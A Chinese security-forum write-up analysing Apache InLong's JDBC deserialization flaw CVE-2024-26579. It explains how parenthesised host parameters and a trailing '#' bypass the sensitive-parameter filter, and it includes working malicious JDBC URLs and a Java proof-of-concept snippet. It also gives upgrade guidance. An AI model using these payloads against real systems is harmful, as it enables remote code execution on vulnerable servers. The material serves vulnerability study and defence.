问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)浅析
漏洞分析
Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞(CVE-2024-26579)
0x00 前言 ======= Apache InLong 是开源的高性能数据集成框架,支持数据接入、数据同步和数据订阅,同时支持批处理和流处理,方便业务构建基于流式的数据分析、建模和应用。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-fa124df02a96416110f5272f93a55d2de4d140e6.png) 0x01 CVE-2024-26579 =================== 在受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。 1.1 影响范围 -------- - org.apache.inlong:inlong-manager@\[1.7.0, 1.12.0) 1.2 修复方案 -------- - 将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本 0x02 漏洞分析与复现 ============ 以1.11.0版本为例。结合历史漏洞,一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f7c14bf15810d7c06ea0f39fe361976a9acfef5e.png) 实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7927f30c3e694afb7a8be01318cb0f0c67e1e5e7.png) 这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8ad51a91af82c6be69cf423c2b5821284fd42a0f.png) 本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-62b28fb4f3c045361f6fcbe837401070e54716d4.png) 例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤,没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测,进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-9a379559c256fb7ea45c9dd9c1c514d4871a5114.png) 最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。 本质上CVE-2024-26579也是filterSensitive方法的绕过,下面分析具体的绕过过程: 2.1 现有防护措施 ---------- 首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。 在非空判断后,使用 `URLDecoder.decode` 方法循环解码 URL,直到没有百分号编码的字符(`InlongConstants.PERCENT`)为止: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d61b3f51c2484952ca67a20c8102549a6215b10d.png) 然后通过正则表达式 `InlongConstants.REGEX_WHITESPACE` 移除 URL 中的所有空白字符: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ec52fba7b8c35fb66c54c87e0aab12b3019ca793.png) 检查处理后的 URL 是否包含问号`InlongConstants.QUESTION_MARK`,如果存在参数部分,将其拆分为键值对: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2aee69a52e9ed99127b3cd0c4ce4dd71ae01bb88.png) 在这个过程中,会检查请求的参数是否在对应的Map中,如果是,则跳过该参数: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-1c9c1ae8aee6d9789e155b1e51bd56b46962dbd5.png) 并且将 `SENSITIVE_REPLACE_PARAM_MAP` 中的key-value添加到对应的参数列表中: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ac0e63ed444c3b14cdc1e66cdc48b70aadb4c81b.png) 综上,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,同时考虑到了URL编码、空白符等绕过风险。 2.2 绕过方式 -------- 之前也简单整理过Jdbc Attack防护绕过的思路,具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对`#`注释符进行额外的处理。从修复的commit(<https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec> )也可以看到确实新增了对`#`注释符的处理: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-57f04d795bea9d9d1bfc6bf92b75e8d6259e5bc9.png) 根据前面的分析,Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。 而在mysql-connector-java-8.0.x的解析过程中,会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,会通过正则捕获对应的内容: ```Java private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile("(?[\\w:%]+)\\s*(?://(?[^/?#]*))?\\s*(?:/(?!\\s*/)(?[^?#]*))?(?:\\?(?!\\s*\\?)(?[^#]*))?(?:\\s*#(?.*))?"); ``` 可知在匹配 URL 的查询参数部分时,使用 `(?\[^#\]\*)` 匹配查询参数,这里#充当了注释符的作用,在获取query时会将#后面的注释部分去掉。也就是说,**8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的**。那么就可以通过#注释掉之后拼接的内容。 但是**仅仅通过`#`注释符是没办法进行利用的**,因为Apache InLong在处理时会检查请求的参数是否在对应的Map中,如果是,则跳过该参数。而这个参数是通过`?`处理得到的。即使#处理掉了Apache InLong拼接的额外内容,也没办法通过`?autoDeserialize=true`的方式写入恶意的参数。 实际上还有一处修复的commit(<https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8> ),这里多了一段字符串替换的逻辑: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-41255d8daeb8ec7c9766d68884d19122ecc61f2a.png) 这里会对经过解码和剔除空白符的url进行处理,遍历SENSITIVE\_REPLACE\_PARAM\_MAP的key,对类似`autoDeserialize=true`的内容替换成null。那么为什么要增加这段逻辑呢? ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7cdb80bc8375b1561d5cc0c1de4e7e85489a29bc.png) 在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ,从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bb852d164f09f61ed91dd19eab08be5ea4e6ad02.png) 以mysql-connector-java-8.0.19.jar为例,查看具体的解析逻辑,若请求的jdbcUrl合法,则调用ConnectionUrl.getConnectionUrlInstance⽅法,这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理,在parseConnectionString方法中,主要是通过正则捕获对应的内容: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-983e56745a15053c1140c858b5b6c86f65b553a4.png) 在getConnectionUrlInstance方法中,首先从 `parser` 中获取主机的列表大小: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bea9daca69232d1115c254dd8f35f1a5eb0a087a.png) 这里会调用parseAuthoritySection方法进行解析: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-70f59fb9cdc15e329060d2254804b0ca41cc01da.png) 如果请求的`authority` 不为null,会调用parseAuthoritySegment进行处理: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c767dd635c18d590617391fda8c2a032188ee4c2.png) 在parseAuthoritySegment方法中,会尝试使用不同的方法构建 `HostInfo` 对象: - buildHostInfoForEmptyHost - buildHostInfoResortingToUriParser - buildHostInfoResortingToSubHostsListParser - buildHostInfoResortingToKeyValueSyntaxParser - buildHostInfoResortingToAddressEqualsSyntaxParser - buildHostInfoResortingToGenericSyntaxParser ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-b618f9ab9180bb9aa89f29ba89dc3ee18d6f31ec.png) 最终完成 `HostInfo` 对象,同时`authority`中的参数也会作为请求的参数进行解析。 查看具体HostInfo的解析方式,发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟`()`有关,可以通过`()`来进行参数的传递: ```Java final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile("[,\\s]*(?<key>[\\w\\.\\-\\s%]*)(?:=(?<value>[^,]*))?"); private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile("\\s*\\(\\s*(?<key>[\\w\\.\\-%]+)?\\s*(?:=(?<value>[^)]*))?\\)\\s*"); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-dad2f13d013e7533963c6375fe766f1d70fac9e4.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bee2e78af435e7525f74b93c95bd8628fde17138.png) 结合前面的分析,因为filterSensitive仅仅考虑了`?`传递参数的情况。结合mysql-connector-java的解析,可以通过在`authority`进行参数的传递,主要有如下两种方式: - (键值对形式) ```text jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test? ``` - address=(键值对形式) ```text jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test? ``` 结合漏洞版本忽略了`#`注释的处理,在jdbc请求的url后追加`#`注释,即可绕过现有的安全防护。 验证前面的猜想,通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过: ```Java try { String url="jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#"; String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url); Class.forName("com.mysql.cj.jdbc.Driver"); DriverManager.getConnection(jdbcURL,"CB 1.9",""); } catch (Exception e) { e.printStackTrace(); } ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-83d5cec37e13ea80da26cb63b8c7fda02ea2ff16.png) 可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制,执行了对应的命令: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3edd4aace392fb7fc5cfa492729a9c542dc330cf.png) `(键值对形式)`同理: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d05c6d1bc72ce428f426f625a41e89baf1314ffa.png) 0x03 其他 ======= 实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ,还有一些其他的例子: ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-0afaf7e2496f76a28e6ac6e10b25c7f8ce689561.png) 在实际业务场景中,一般针对JDBC Attack的防护主要分为两种: - 支持jdbc连接串的直接传递,会将jdbc连接串按预置模板解析出对应的字段,然后再进行安全检查 - 不支持jdbc连接串的直接传递,但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接,最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查 如果在实际防护中没有考虑到上述的传参方式的话,例如host字段可能没有限制具体的内容,还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。
发表于 2024-05-27 10:00:01
阅读 ( 14748 )
分类:
漏洞分析
1 推荐
收藏
1 条评论
Msfcode
2024-05-27 12:56
补一个案例 https://github.com/advisories/GHSA-6p92-qfqf-qwx4
请先
登录
后评论
请先
登录
后评论
tkswifty
59 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!